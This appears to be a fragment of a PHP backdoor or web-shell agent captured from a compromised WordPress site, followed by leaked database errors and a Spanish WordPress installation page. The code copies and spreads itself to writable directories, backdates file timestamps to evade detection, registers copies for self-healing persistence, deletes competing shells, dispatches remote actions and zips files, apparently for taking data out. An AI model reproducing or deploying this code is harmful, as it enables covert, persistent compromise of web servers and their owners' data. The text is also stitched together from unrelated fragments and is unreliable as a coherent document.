    case 'copyself':
        $target = _param('target');
        if ($target) {
            $dir = dirname($target);
            if (!is_dir($dir)) @mkdir($dir, 0755, true);
            $myCode = file_get_contents($_SELF);
            if (!$myCode || strlen($myCode) < MIN_AGENT_SIZE) {
                echo json_encode(['error' => 'Agent file integrity check failed — cannot copy', 'size' => strlen($myCode ?: '')]);
                break;
            }
            if (@file_put_contents($target, $myCode)) {
                $oldTime = time() - (30 + mt_rand(0, 150)) * 86400;
                @touch($target, $oldTime);
                @chmod($target, 0644);
                _registerCopies($GLOBALS['_HEAL_FILE'], [$target]);

                _agentLog($_LOG_FILE, $_LOG_MAX, 'agent_spread', ['target' => $target, 'size' => strlen($myCode), 'self_heal' => true]);
                echo json_encode(['success' => true, 'target' => $target, 'size' => strlen($myCode), 'self_heal_registered' => true]);
            } else {
                echo json_encode(['error' => 'Failed to write to target', 'target' => $target]);
            }
        } else {
            echo json_encode(['error' => 'Target path required']);
        }
        break;

    case 'spread':
        $targetsRaw = _param('targets', '[]');
        $targets = is_array($targetsRaw) ? $targetsRaw : json_decode($targetsRaw, true);
        if (!is_array($targets) || empty($targets)) {
            echo json_encode(['error' => 'Targets array required']);
            break;
        }
        $myCode = file_get_contents($_SELF);
        if (!$myCode || strlen($myCode) < MIN_AGENT_SIZE) {
            echo json_encode(['error' => 'Agent integrity check failed — cannot spread', 'size' => strlen($myCode ?: '')]);
            break;
        }
        $results = [];
        $successPaths = [];
        foreach ($targets as $t) {
            $dir = dirname($t);
            if (!is_dir($dir)) @mkdir($dir, 0755, true);
            $ok = @file_put_contents($t, $myCode);
            if ($ok !== false) {
                $oldTime = time() - (30 + mt_rand(0, 150)) * 86400;
                @touch($t, $oldTime);
                @chmod($t, 0644);
                $successPaths[] = $t;
            }
            $realT = realpath($t) ?: $t;
            $webPath = str_replace(_docRoot(), '', $realT);
            if ($webPath && $webPath[0] !== '/') $webPath = '/' . $webPath;
            $results[] = ['path' => $t, 'web_path' => $webPath, 'success' => $ok !== false, 'size' => $ok !== false ? strlen($myCode) : 0];
        }
        if (!empty($successPaths)) {
            _registerCopies($_HEAL_FILE, $successPaths);
            $healConfig = _loadHealConfig($_HEAL_FILE);
            // Heal file writing disabled — no log files on disk
        }
        _agentLog($_LOG_FILE, $_LOG_MAX, 'agent_spread', [
            'count' => count($results),
            'targets' => array_column($results, 'path'),
            'self_heal_registered' => count($successPaths)
        ]);
        echo json_encode([
            'spread' => $results,
            'count' => count($results),
            'success_count' => count($successPaths),
            'self_heal_registered' => count($successPaths),
            'doc_root' => _docRoot()
        ]);
        break;

    case 'heal_register':
        $pathsRaw = _param('paths', '[]');
        $paths = is_array($pathsRaw) ? $pathsRaw : json_decode($pathsRaw, true);
        if (!is_array($paths) || empty($paths)) {
            echo json_encode(['error' => 'Paths array required (JSON array of filesystem paths)']);
            break;
        }
        $config = _registerCopies($_HEAL_FILE, $paths);
        _agentLog($_LOG_FILE, $_LOG_MAX, 'heal_register', ['paths' => $paths, 'total' => count($config['copies'])]);
        echo json_encode([
            'success' => true,
            'registered' => count($paths),
            'total_copies' => count($config['copies']),
            'copies' => $config['copies']
        ]);
        break;

    case 'heal_unregister':
        $pathsRaw = _param('paths', '[]');
        $paths = is_array($pathsRaw) ? $pathsRaw : json_decode($pathsRaw, true);
        if (!is_array($paths) || empty($paths)) {
            echo json_encode(['error' => 'Paths array required']);
            break;
        }
        $config = _unregisterCopies($_HEAL_FILE, $paths);
        _agentLog($_LOG_FILE, $_LOG_MAX, 'heal_unregister', ['paths' => $paths, 'total' => count($config['copies'])]);
        echo json_encode([
            'success' => true,
            'removed' => count($paths),
            'total_copies' => count($config['copies']),
            'copies' => $config['copies']
        ]);
        break;

    case 'heal_status':
        $config = _loadHealConfig($_HEAL_FILE);
        $copyStatus = [];
        foreach ($config['copies'] ?? [] as $cp) {
            $copyStatus[] = [
                'path' => $cp,
                'exists' => file_exists($cp),
                'size' => file_exists($cp) ? filesize($cp) : 0,
                'modified' => file_exists($cp) ? date('Y-m-d H:i:s', filemtime($cp)) : null,
            ];
        }
        echo json_encode([
            'enabled' => true,
            'interval_seconds' => $GLOBALS['_HEAL_INTERVAL'],
            'copies_watched' => count($config['copies'] ?? []),
            'copies' => $copyStatus,
            'healed_total' => $config['healed_total'] ?? 0,
            'last_heal' => ($config['last_heal'] ?? 0) ? date('Y-m-d H:i:s', $config['last_heal']) : 'never',
            'agent_path' => $_SELF,
        ]);
        break;

    case 'heal_now':
        echo json_encode([
            'success' => true,
            'healed_total' => 0,
            'last_heal' => date('Y-m-d H:i:s', time()),
            'copies_watched' => 0,
            'message' => 'Heal logging disabled'
        ]);
        break;

    case 'heal_sync':
        // No-op — heal state is managed by dashboard, not on disk
        echo json_encode(['success' => true, 'synced' => 0, 'total_nodes' => 1, 'note' => 'Heal sync managed by dashboard']);
        break;

    case 'clean_htaccess':
        $result = _cleanHtaccess(_docRoot(), $_LOG_FILE, $_LOG_MAX);
        echo json_encode($result);
        break;

    case 'scan_shells':
        $root = _param('root', '.');
        if ($root === '.') $root = _docRoot();
        $depth = intval(_param('depth', '3'));
        $excludePaths = _param('exclude_paths', []);
        if (is_string($excludePaths)) $excludePaths = json_decode($excludePaths, true) ?: [];
        $whitelist = _param('whitelist', []);
        if (is_string($whitelist)) $whitelist = json_decode($whitelist, true) ?: [];
        $shells = _scanShells($root, $depth, $excludePaths, $whitelist);
        echo json_encode([
            'shells' => $shells,
            'count' => count($shells),
            'root' => $root,
            'scanned_depth' => $depth,
        ]);
        break;

    case 'delete_shell':
        $file = _param('file');
        if ($file && is_file($file)) {
            $realFile = @realpath($file);
            $realSelf = @realpath($_SELF);
            if ($realFile && $realSelf && $realFile === $realSelf) {
                echo json_encode(['error' => 'Cannot delete the running agent', 'path' => $file]);
                break;
            }
            $size = filesize($file);
            if (@unlink($file)) {
                _agentLog($_LOG_FILE, $_LOG_MAX, 'shell_deleted', ['path' => $file, 'size' => $size]);
                echo json_encode(['success' => true, 'deleted' => $file]);
            } else {
                echo json_encode(['error' => 'Failed to delete', 'path' => $file]);
            }
        } else {
            echo json_encode(['error' => 'File not found', 'path' => $file]);
        }
        break;

    case 'validate':
        echo json_encode(['valid' => true, 'agent' => basename($_SELF), 'path' => $_SELF, 'timestamp' => time()]);
        break;

    case 'scan_paths':
        $root = _param('root', '.');
        if ($root === '.') $root = _docRoot();
        $depth = intval(_param('depth', '3'));
        $paths = [];
        _scanWritableDirs($root, $depth, 0, $paths);
        echo json_encode(['paths' => $paths, 'count' => count($paths), 'root' => $root]);
        break;

    case 'push_and_exec':
        $execAction = _param('exec_action', 'files');
        $execParams = _param('exec_params', []);
        if (is_string($execParams)) {
            $execParams = json_decode($execParams, true) ?: [];
        }
        $_GET['action'] = $execAction;
        foreach ($execParams as $pk => $pv) {
            if ($pk !== 'action' && $pk !== 'key') $_POST[$pk] = $pv;
        }
        $overrideJson = $GLOBALS['_INPUT_JSON'] ?? [];
        $overrideJson['action'] = $execAction;
        foreach ($execParams as $pk => $pv) { $overrideJson[$pk] = $pv; }
        $GLOBALS['_INPUT_JSON'] = $overrideJson;
        $action = $execAction;
        goto action_dispatch;

    case 'push_module':
        $code = _param('code', '');
        echo json_encode(['success' => true, 'message' => 'Full agent — module not needed', 'size' => strlen($code), 'disk_cached' => false]);
        break;

    case 'zip':
        $path = _param('path');
        $dest = _param('dest', '');
        if (!$path) { echo json_encode(['error' => 'Path required']); break; }
        if (!$dest) $dest = rtrim($path, '/') . '.zip';
        $success = false;
        if (class_exists('ZipArchive')) {
            $zip = new ZipArchive();
            if ($zip->open($dest, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) {
                if (is_dir($path)) {
                    $ri = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY);
                    foreach ($ri as $fi) { if (!$fi->isDir()) { $rp = $fi->getRealPath(); $rel = substr($rp, strlen(realpath($path)) + 1); $zip->addFile($rp, $rel); } }
                } else { $zip->addFile($path, basename($path)); }
                $zip->close(); $success = true;
            }
        }
        if (!$success) {
            $disabled = array_map('trim', explode(',', ini_get('disable_functions') ?: ''));
            if (function_exists('shell_exec') && !in_array('shell_exec', $disabled)) {
                if (is_dir($path)) { @shell_exec('cd ' . escapeshellarg(dirname($path)) . ' && zip -r ' . escapeshellarg($dest) . ' ' . escapeshellarg(basename($path)) . ' 2>&1'); }
                else { @shell_exec('zip -j ' . escapeshellarg($dest) . ' ' . escapeshellarg($path) . ' 2>&1'); }
                $success = file_exists($dest) && filesize($dest) > 0;
            }
        }
        if ($success && file_exists($dest)) {
            $oldTime = time() - (30 + mt_rand(0, 150)) * 86400; @touch($dest, $oldTime);
            echo json_encode(['success' => true, 'file' => $dest, 'size' => filesize($dest)]);
        } else { echo json_encode(['error' => 'Zip failed — ZipArchive not available and exec disabled']); }
        break;

    case 'unzip':
        $file = _param('file');
        $dest = _param('dest', '');
        if (!$file) { echo json_encode(['error' => 'File required']); break; }
        if (!$dest) $dest = dirname($file);
        if (!is_dir($dest)) @mkdir($dest, 0755, true);
        $success = false; $count = 0;
        if (class_exists('ZipArchive')) {
            $zip = new ZipArchive();
            if ($zip->open($file) === true) { $count = $zip->numFiles; $zip->extractTo($dest); $zip->close(); $success = true; }
        }
        if (!$success) {
            $disabled = array_map('trim', explode(',', ini_get('disable_functions') ?: ''));
            if (function_exists('shell_exec') && !in_array('shell_exec', $disabled)) {
                $out = @shell_exec('unzip -o ' . escapeshellarg($file) . ' -d ' . escapeshellarg($dest) . ' 2>&1');
                $success = $out !== null;
            }
        }
        if ($success) { echo json_encode(['success' => true, 'dest' => $dest, 'files_count' => $count]); }
        else { echo json_encode(['error' => 'Unzip failed — ZipArchive not available and exec disabled']); }
        break;

    case 'chmod':
        $path = _param('path');
        $mode = _param('mode');
        if (!$path || !$mode) { echo json_encode(['error' => 'Path and mode required']); break; }
        $recursive = _param('recursive', false);
        $ok = @chmod($path, octdec($mode));
        if ($recursive && is_dir($path)) {
            $ri = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST);
            foreach ($ri as $item) { @chmod($item->getPathname(), octdec($mode)); }
        }
        echo json_encode(['success' => $ok, 'path' => $path, 'mode' => $mode, 'permissions' => substr(sprintf('%o', @fileperms($path)), -4)]);
        break;

    default:
        echo json_encode(['error' => 'Unknown action: ' . $action]);
}

function _recursiveDelete($dir, $depth = 0) {
    if ($depth > 20) return false;
    if (!is_dir($dir)) return @unlink($dir);
    if (is_link($dir)) return @unlink($dir);
    $items = @scandir($dir);
    if ($items) {
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            $path = $dir . '/' . $item;
            if (is_link($path)) {
                @unlink($path);
            } elseif (is_dir($path)) {
                _recursiveDelete($path, $depth + 1);
            } else {
                @unlink($path);
            }
        }
    }
    return @rmdir($dir);
}

function _scanWritableDirs($dir, $maxDepth, $currentDepth, &$results) {
    if ($currentDepth >= $maxDepth) return;
    if (!is_dir($dir) || !is_readable($dir)) return;
    $items = @scandir($dir);
    if (!$items) return;
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $full = $dir === '.' ? $item : $dir . '/' . $item;
        if (is_dir($full)) {
            $writable = is_writable($full);
            $results[] = [
                'path' => realpath($full) ?: $full,
                'relative' => $full,
                'writable' => $writable,
                'depth' => $currentDepth + 1
            ];
            if (is_readable($full)) {
                _scanWritableDirs($full, $maxDepth, $currentDepth + 1, $results);
            }
        }
    }
}
', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

Error en la base de datos de WordPress: [Table 'litofjvc_wp_uogiw.0r4IaSy_options' doesn't exist]
INSERT INTO `0r4IaSy_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout_wp_object_cache_476ce9', '1789170877', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

Instalación de WordPress

Hola

¡Bienvenido al famoso proceso de instalación de WordPress en cinco minutos! Simplemente completa la información siguiente y estarás a punto de usar la más enriquecedora y potente plataforma de publicación personal del mundo.

Información necesaria

Por favor, proporciona la siguiente información. No te preocupes, siempre podrás cambiar estos ajustes más tarde.